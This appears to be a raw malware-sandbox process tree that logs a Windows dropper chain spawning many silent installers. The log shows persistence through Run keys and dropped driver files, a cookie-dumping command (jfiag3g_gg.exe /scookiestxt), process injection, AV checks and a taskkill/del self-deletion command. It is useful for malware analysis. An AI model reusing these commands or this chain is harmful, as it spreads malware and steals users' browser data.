                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-NOB2M.tmp\134 Vaporeondè_éçè_)))_.exe" /S /UID=rec7
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                                                  PID:4724
                                                                                                                                                                                                                                                                                                  • C:\Program Files\Windows Defender Advanced Threat Protection\ZTECPHZWPM\irecord.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files\Windows Defender Advanced Threat Protection\ZTECPHZWPM\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:5152
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-LEHEV.tmp\irecord.tmp
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-LEHEV.tmp\irecord.tmp" /SL5="$90320,5808768,66560,C:\Program Files\Windows Defender Advanced Threat Protection\ZTECPHZWPM\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                          PID:5288
                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                            PID:6532
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a8-5b62f-5d1-1519d-0556a2a53258c\Gupyfyshogu.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a8-5b62f-5d1-1519d-0556a2a53258c\Gupyfyshogu.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:4612
                                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                                                                            dw20.exe -x -s 1996
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:3752
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\d9-6213e-d09-7ee9f-80bfc4e1fbae2\ZHyjebishyfy.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\d9-6213e-d09-7ee9f-80bfc4e1fbae2\ZHyjebishyfy.exe"
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:4432
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x1t1behe.ady\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                  PID:6180
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\imhgrwel.o12\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                    PID:6600
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b1mvnejj.k0k\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:6788
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\b1mvnejj.k0k\Setup3310.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\b1mvnejj.k0k\Setup3310.exe /Verysilent /subid=623
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                          PID:5320
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-LJBPK.tmp\Setup3310.tmp
                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-LJBPK.tmp\Setup3310.tmp" /SL5="$403FC,138429,56832,C:\Users\Admin\AppData\Local\Temp\b1mvnejj.k0k\Setup3310.exe" /Verysilent /subid=623
                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                            PID:5960
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-QGT32.tmp\Setup.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-QGT32.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                              PID:1512
                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe
                                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                                  PID:7012
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-3GL7F.tmp\LabPicV3.tmp
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-3GL7F.tmp\LabPicV3.tmp" /SL5="$B0080,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                    PID:5216
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-8V7H3.tmp\12(((((.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-8V7H3.tmp\12(((((.exe" /S /UID=lab214
                                                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                                                      • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                      PID:1660
                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Java\AZDZXBXHNK\prolab.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Java\AZDZXBXHNK\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                          PID:5548
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-32PSN.tmp\prolab.tmp
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-32PSN.tmp\prolab.tmp" /SL5="$304A8,575243,216576,C:\Program Files\Java\AZDZXBXHNK\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                            PID:2012
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\e4-b9255-329-d4d9b-3b122d43af744\Vaevemaelaehi.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\e4-b9255-329-d4d9b-3b122d43af744\Vaevemaelaehi.exe"
                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                            PID:6828
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                                                                                                              dw20.exe -x -s 1996
                                                                                                                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                                                                                                                PID:5384
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\e0-20918-9d5-75c8e-705622e5deb79\Foguxoqyqo.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\e0-20918-9d5-75c8e-705622e5deb79\Foguxoqyqo.exe"
                                                                                                                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                                                                                                                PID:1736
                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Data Finder\Versium Research\updatetes.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Data Finder\Versium Research\updatetes.exe"
                                                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                                                            PID:4400
                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                            • Checks for any installed AV software in registry
                                                                                                                                                                                                                                                                                                                                            PID:6220
                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe" -a
                                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                                PID:2096
                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                                                                                PID:3164
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-4CH7M.tmp\lylal220.tmp
                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-4CH7M.tmp\lylal220.tmp" /SL5="$204A4,172303,88576,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                  PID:6784
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-H96R3.tmp\èeèrgegdè_éçè_)))_.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-H96R3.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=lylal220
                                                                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                    • Drops startup file
                                                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                    PID:5368
                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\temp_files\PSCFYZTRPO\irecord.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\temp_files\PSCFYZTRPO\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4356
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-UTUK5.tmp\irecord.tmp
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-UTUK5.tmp\irecord.tmp" /SL5="$C0394,5808768,66560,C:\Program Files\temp_files\PSCFYZTRPO\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                          PID:6564
                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                            PID:6548
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\d3-11081-1b9-1b4b4-730e0f8674957\Jasoqaepube.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\d3-11081-1b9-1b4b4-730e0f8674957\Jasoqaepube.exe"
                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6240
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                                                                                                                            dw20.exe -x -s 2000
                                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6188
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42-d4d43-9fb-2cf83-fb45c9fc5f82a\Bocipaerasy.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\42-d4d43-9fb-2cf83-fb45c9fc5f82a\Bocipaerasy.exe"
                                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5936
                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4544
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-488VL.tmp\MediaBurner.tmp
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-488VL.tmp\MediaBurner.tmp" /SL5="$304BC,303887,220160,C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                            PID:5908
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-H96R4.tmp\_____________bob.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-H96R4.tmp\_____________bob.exe" /S /UID=burnerch1
                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                              • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                              PID:4124
                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Windows Portable Devices\GUCOHMFIWI\ultramediaburner.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Windows Portable Devices\GUCOHMFIWI\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3488
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-JF89R.tmp\ultramediaburner.tmp
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-JF89R.tmp\ultramediaburner.tmp" /SL5="$70334,281924,62464,C:\Program Files\Windows Portable Devices\GUCOHMFIWI\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                    PID:2996
                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4436
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\46-83465-e1b-032bf-5cab6d7c59aea\Rylylutyzhe.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\46-83465-e1b-032bf-5cab6d7c59aea\Rylylutyzhe.exe"
                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6044
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                                                                                                                                        dw20.exe -x -s 1988
                                                                                                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                        PID:5288
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\6e-d4265-e6f-e4eb8-49aacfb7cd0af\SHeqipaecesha.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\6e-d4265-e6f-e4eb8-49aacfb7cd0af\SHeqipaecesha.exe"
                                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2780
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gknjhcz0.4aj\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                                                          PID:7048
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uzprgnmk.pog\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:5156
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qvnzaxc3.h2e\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5296
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aletqkqg.uzr\google-game.exe & exit
                                                                                                                                                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:3024
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dwbwahi0.x0n\BrowzarBrowser_J013.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:2664
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6260
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yoo1nppq.if3\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6652
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vzm1mopl.yft\toolspab1.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:860
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1i52rali.3bd\SunLabsPlayer.exe /S & exit
                                                                                                                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6112
                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
                                                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5044
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\8200208.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\8200208.exe"
                                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5640
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\4693284.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\4693284.exe"
                                                                                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6148
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\3829448.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\3829448.exe"
                                                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                                                          PID:5968
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4104
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                                                                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                                          PID:6600
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6984
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                taskkill /im RunWW.exe /f
                                                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                PID:4680
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                timeout /t 6
                                                                                                                                                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                PID:3160
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
                                                                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6428
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1008
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6956
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sl30mwxm.l03\google-game.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:6492
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5016
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sl30mwxm.l03\google-game.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\sl30mwxm.l03\google-game.exe
                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6372
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sl30mwxm.l03\google-game.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sl30mwxm.l03\google-game.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1224
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fv3i5mxv.kyq\BrowzarBrowser_J013.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4904
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\fv3i5mxv.kyq\BrowzarBrowser_J013.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\fv3i5mxv.kyq\BrowzarBrowser_J013.exe
                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:640
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jusskrci.fnm\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6260
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fcrypvkw.n3v\toolspab1.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4392
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\fcrypvkw.n3v\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\fcrypvkw.n3v\toolspab1.exe
                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3032
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\fcrypvkw.n3v\toolspab1.exe
